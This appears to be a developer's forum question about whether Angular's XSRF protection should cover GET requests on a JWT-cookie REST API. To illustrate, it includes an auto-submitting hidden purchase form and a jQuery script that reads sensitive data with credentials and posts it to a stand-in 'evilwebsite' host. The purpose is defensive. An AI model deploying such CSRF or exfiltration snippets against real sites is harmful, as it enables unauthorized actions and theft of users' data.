I have a REST API that allows authenticated users to read data about their own account and make changes to their accounts. For authentication I use JWTs stored as httpOnly cookies. To protect against CSRF attacks, the REST API also supplies the client with what Angular calls an "XSRF token".
Angular's method of CSRF protection is to take the XSRF token your API creates and re-submit it back to the API with each request in an "X-XSRF-Token" header. It's up to your API to determine whether to allow the request or not. A script running on a hostile website would not have access to the XSRF token and so would be unable to submit it along with any CSRF requests.
When I went to implement my front-end requests in Angular using HttpClient, I noticed that the HttpXsrfInterceptor doesn't send the X-XSRF-Token header with GET and HEAD requests.
From the opinions I've read online, CSRF protection is not needed for GET requests because they don't (or they shouldn't) modify any data. The most a CSRF attack could do with a GET request is have the REST API send sensitive data to the user's web browser. The hostile website wouldn't be able to see that data.
Example 1: CSRF GET
If a hostile website tries to issue a CSRF GET request like this:
<img src="https://example.com/sensitiveData">
then sensitive data is transmitted from the API to the user's web browser, but the hostile website can't see the data, so everything is fine.
Example 2: CSRF POST
If a hostile website tries to issue a CSRF POST request like this:
<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
<input type="hidden" name="itemId" value="34873847">
<input type="submit" value="View Kittens">
</form>
...
then the hostile website still wouldn't see any data, but it could cause damage to a the user. If the API requires the X-XSRF-Token header to be present then this attack can not succeed.
Example 3: CSRF GET via Ajax
But what if the hostile website forces the browser to make a GET request like this:
<script>
$.ajax('https://example.com/sensitiveData', {
xhrFields: {
withCredentials: true,
},
}).done((sensitiveData) => {
$.ajax('https://evilwebsite/logData', {
method: 'post',
data: sensitiveData,
}).done(() => {
console.log('I stole your data', sensitiveData)
});
});
</script>
Some CORS policies would stop this, but other CORS policies would still let it happen.
It seems that requiring CSRF protection on GET requests would mitigate this vulnerability.
Am I missing something important?